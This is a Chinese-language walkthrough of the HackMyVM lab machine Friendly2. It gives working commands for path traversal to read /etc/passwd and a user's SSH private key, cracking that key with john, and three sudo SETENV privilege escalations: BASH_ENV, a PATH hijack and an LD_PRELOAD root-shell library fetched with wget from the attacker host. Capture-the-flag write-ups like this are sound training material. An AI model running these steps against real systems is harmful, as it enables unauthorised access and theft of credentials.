笔记于2025/12/3
本文参考多个文章,链接放在提权部分了
靶机介绍:
该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密
靶机IP:10.120.67.180
攻击机IP:10.120.53.100
存活扫描
arp-scan -I eth0 10.120.53.100/17

端口扫描
发现开放SSH服务端口和WEB应用端口
nmap -p- 10.120.67.180

WEB应用渗透测试
目录扫描
dirb http://10.120.67.180/

信息收集
发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试
失败了
#抓包访问
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com

LFI漏洞测试
成功,得到用户名
#访问/etc/passwd
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥
#访问
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa

尝试登录SSH服务
发现登录失败
chmod 600 id_rsa
ssh gh0st@10.120.67.180 -i id_rsa

对id_rsa解密
ssh2john id_rsa > hash.txt
john hash.txt -w=/usr/share/wordlists/rockyou.txt
john hash.txt --show

登录SSH服务
ssh gh0st@10.120.67.180 -i id_rsa
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
find / -type f -name 'user.txt' 2>/dev/null
cat /home/gh0st/user.txt

信息收集
sudo -l
cat /opt/security.sh

内网提权方法1
echo 'chmod u+s /bin/bash' > /tmp/mal.sh
chmod +x /tmp/mal.sh
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh

内网提权方法2
HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub
#这条是用的比较多的,可以看以上两篇博主
cd /tmp
echo 'chmod u+s /bin/bash' > grep
chmod +x grep
sudo PATH=$PWD:$PATH /opt/security.sh
#或者下面这条,是我自己试过的也可以提权
cd /tmp
echo 'chmod u+s /bin/bash' > tr
chmod +x tr
sudo PATH=$PWD:$PATH /opt/security.sh

内网提权方法3
四分多钟的时候会介绍
hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili
具体知识点在这
Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks
攻击机kali:
vim pe.c
#粘贴复制的代码
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
python3 -m http.server 7777
防守机:
cd /tmp
wget -o http://10.120.53.100:7777/pe.so
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh
编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h> // 新增:包含setgid/setuid的声明
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
拿下!

获取root.txt
cat /root/root.txt
find / -name '...' 2>/dev/null
cd /... ls -al
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制
修改/opt/security
#将长度限制20修改成50或者更长
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析
直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件
<?php
if(isset($_GET['doc'])) {
$filename = $_GET['doc'];
readfile("/var/www/html/tools/documents/" . $filename);
}
?>
渗透测试收获:
如果sudo -l的内容为
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
那将有多种提权方法
ROT13加密类似凯撒加密
路径遍历漏洞经验